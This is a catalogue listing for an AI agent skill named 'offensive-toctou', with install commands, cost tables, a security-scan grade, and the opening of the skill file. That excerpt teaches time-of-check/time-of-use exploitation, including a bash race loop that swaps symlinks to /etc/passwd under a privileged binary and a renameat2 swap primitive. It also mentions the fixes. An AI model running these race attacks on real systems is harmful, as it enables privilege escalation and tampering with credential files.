Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add Miosa-osa/OSA --skill offensive-toctougit clone --depth 1 https://github.com/Miosa-osa/OSAWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/miosa-osa/osa/offensive-toctou)<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-toctou"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-toctou/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/miosa-osa/osa/offensive-toctou"><img src="https://agentmods.dev/badge/skills/miosa-osa/osa/offensive-toctou.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00202 | $0.03664 |
| Opus 5.5 | $0.00081 | $0.01466 |
| Sonnet 5.5 | $0.00040 | $0.00733 |
| Haiku 4.5 | $0.00020 | $0.00366 |
Grade C, and why
offensive-toctou scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Reaches for credential fileshighPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
Between `access` and `open`, an attacker replaces `path` with a symlink to `/etc/shadow`. The check sees an attacker-owned file; the use opens shadow as root. This is a copy
91% identical to offensive-toctou — 40 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 388 lines — stays where its author put it; the contents beside it link to each section on GitHub.
TOCTOU — Time-of-Check / Time-of-Use Exploitation
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
Quick Workflow
- Identify the check (syscall, function, validation step) and the use (the privileged action)
- Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
- Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
- Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
- Run a tight loop and confirm the post-use state corresponds to the swapped target
The Core Pattern
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}
Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.
The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.
Filesystem TOCTOU
Symlink Swap (Classic)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);
RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 2mo ago First seen · 388 lines · 202 tokens per session scan C e5fc9d009621
offensive-toctou is a skill published in the GitHub repository Miosa-osa/OSA (82 stars, last pushed 4d ago), licensed Apache-2.0. It adds 202 tokens to every session and 3,664 once invoked, about $0.0008 per session on Opus 5.5. A static security scan graded it C with 1 finding (reaches for credential files). It is 91% identical to offensive-toctou, differing in 40 lines, and is treated as a copy.
offensive-toctou compared with skills from other repositories
| Mod | Type | Stars | Last push | Licence | Scan | Tokens | Works with |
|---|---|---|---|---|---|---|---|
| offensive-toctouMiosa-osa/OSA | Skill | 82 | 4d ago | Apache-2.0 | C | 202 | Claude Code, Codex |
| unit-converteragentjido/jido_ai | Skill | 211 | 3d ago | Apache-2.0 | A | 19 | Claude Code |
| code-reviewagentjido/jido_ai | Skill | 211 | 3d ago | Apache-2.0 | A | 15 | Claude Code |
| cai-todaycai-layer/cai | Skill | 61 | 1mo ago | MIT | A | 98 | Claude Code, Codex |
| demomlhher/late-cli | Skill | 460 | 3d ago | none | A | 9 | Claude Code, Codex |
| tui-designpass-agent/loomkin | Skill | 183 | 6mo ago | MIT | A | 109 | Claude Code, Codex |
| clackpass-agent/loomkin | Skill | 183 | 6mo ago | MIT | A | 72 | Claude Code, Codex |